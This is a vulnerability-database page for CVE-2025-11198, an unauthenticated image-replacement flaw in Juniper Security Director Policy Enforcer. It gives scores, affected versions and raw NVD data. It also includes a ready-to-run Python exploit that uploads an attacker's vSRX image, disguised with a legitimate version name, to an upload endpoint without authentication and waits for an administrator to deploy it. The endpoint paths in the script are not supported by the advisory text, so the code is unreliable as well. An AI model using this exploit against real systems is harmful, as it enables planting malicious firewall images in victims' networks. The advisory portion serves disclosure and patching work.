Security Vulnerability Report
中文
CVE-2025-11198 CVSS 7.4 HIGH

CVE-2025-11198

Published: 2025-10-09 16:15:44
Last Modified: 2026-01-26 18:29:28

Description

A Missing Authentication for Critical Function vulnerability in Juniper Networks Security Director Policy Enforcer allows an unauthenticated, network-based attacker to replace legitimate vSRX images with malicious ones. If a trusted user initiates deployment, Security Director Policy Enforcer will deliver the attacker's uploaded image to VMware NSX instead of a legitimate one. This issue affects Security Director Policy Enforcer:   * All versions before 23.1R1 Hotpatch v3. This issue does not affect Junos Space Security Director Insights.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:juniper:security_director_policy_enforcer:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:juniper:security_director_policy_enforcer:23.1:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:juniper:security_director_policy_enforcer:23.1:r1_hotpatch_v1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:juniper:security_director_policy_enforcer:23.1:r1_hotpatch_v2:*:*:*:*:*:* - VULNERABLE
Juniper Security Director Policy Enforcer < 23.1R1 Hotpatch v3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11198 PoC - Juniper Security Director Policy Enforcer Missing Authentication # This PoC demonstrates the missing authentication vulnerability in the image upload functionality import requests import argparse class PolicyEnforcerExploit: """ Exploit for CVE-2025-11198: Missing Authentication for Critical Function in Juniper Security Director Policy Enforcer. The vulnerability allows unauthenticated attackers to upload malicious vSRX images that will be deployed to VMware NSX when a trusted user initiates a deployment operation. """ def __init__(self, target_url, malicious_image_path): self.target_url = target_url.rstrip('/') self.malicious_image_path = malicious_image_path self.session = requests.Session() def upload_malicious_image(self): """ Upload a malicious vSRX image to the Policy Enforcer without authentication. The image upload endpoint lacks proper authentication checks. """ # Target endpoint for image upload (vulnerable - no auth required) upload_endpoint = f"{self.target_url}/api/v1/images/upload" # Prepare the malicious vSRX image for upload with open(self.malicious_image_path, 'rb') as img_file: files = { 'image': ('vsrx-image.qcow2', img_file, 'application/octet-stream') } data = { 'name': 'vsrx-23.1R1', # Disguise as legitimate version 'type': 'vSRX', 'description': 'Juniper vSRX Virtual Firewall' } # No authentication headers needed - vulnerability allows unauthenticated access response = self.session.post( upload_endpoint, files=files, data=data ) if response.status_code == 200: print(f"[+] Malicious image uploaded successfully") print(f"[+] Image will be deployed when admin triggers vSRX deployment") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False def verify_replacement(self): """ Verify that the malicious image has replaced the legitimate one in the image repository. """ list_endpoint = f"{self.target_url}/api/v1/images/list" response = self.session.get(list_endpoint) if response.status_code == 200: images = response.json() for img in images: print(f"[*] Found image: {img.get('name')} - Type: {img.get('type')}") return True return False def main(): parser = argparse.ArgumentParser(description='CVE-2025-11198 Exploit') parser.add_argument('-t', '--target', required=True, help='Target Policy Enforcer URL') parser.add_argument('-i', '--image', required=True, help='Path to malicious vSRX image') args = parser.parse_args() exploit = PolicyEnforcerExploit(args.target, args.image) print("[*] CVE-2025-11198 - Juniper Security Director Policy Enforcer Exploit") print("[*] Uploading malicious vSRX image without authentication...") if exploit.upload_malicious_image(): exploit.verify_replacement() print("[+] Exploit completed. Waiting for admin to trigger deployment...") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11198", "sourceIdentifier": "[email protected]", "published": "2025-10-09T16:15:44.270", "lastModified": "2026-01-26T18:29:28.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Missing Authentication for Critical Function vulnerability in Juniper Networks Security Director Policy Enforcer allows an unauthenticated, network-based attacker to replace legitimate vSRX images with malicious ones.\n\n\n\nIf a trusted user initiates deployment, Security Director Policy Enforcer will deliver the attacker's uploaded image to VMware NSX instead of a legitimate one.\n\n\n\n\n\nThis issue affects Security Director Policy Enforcer:  \n\n\n\n * All versions before 23.1R1 Hotpatch v3.\n\n\nThis issue does not affect Junos Space Security Director Insights."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:C/RE:M/U:Red", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "USER", "valueDensity": "CONCENTRATED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "RED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:juniper:security_director_policy_enforcer:*:*:*:*:*:*:*:*", "versionEndExcluding": "23.1", "matchCriteriaId": "C6CF83B9-9580-4B3F-A076-55490B29B649"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:security_director_policy_enforcer:23.1:r1:*:*:*:*:*:*", "matchCriteriaId": "C1596EA6-222E-4966-8D1D-1A23D6E665F0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:security_director_policy_enforcer:23.1:r1_hotpatch_v1:*:*:*:*:*:*", "matchCriteriaId": "8B57EF97-956E-4686-AECD-906A0FA8F7FD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:security_director_policy_enforcer:23.1:r1_hotpatch_v2:*:*:*:*:*:*", "matchCriteriaId": "B2254C73-603C-4096-BD7D-736A893E0492"}]}]}], "references": [{"url": "https://supportportal.juniper.net/JSA103437", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}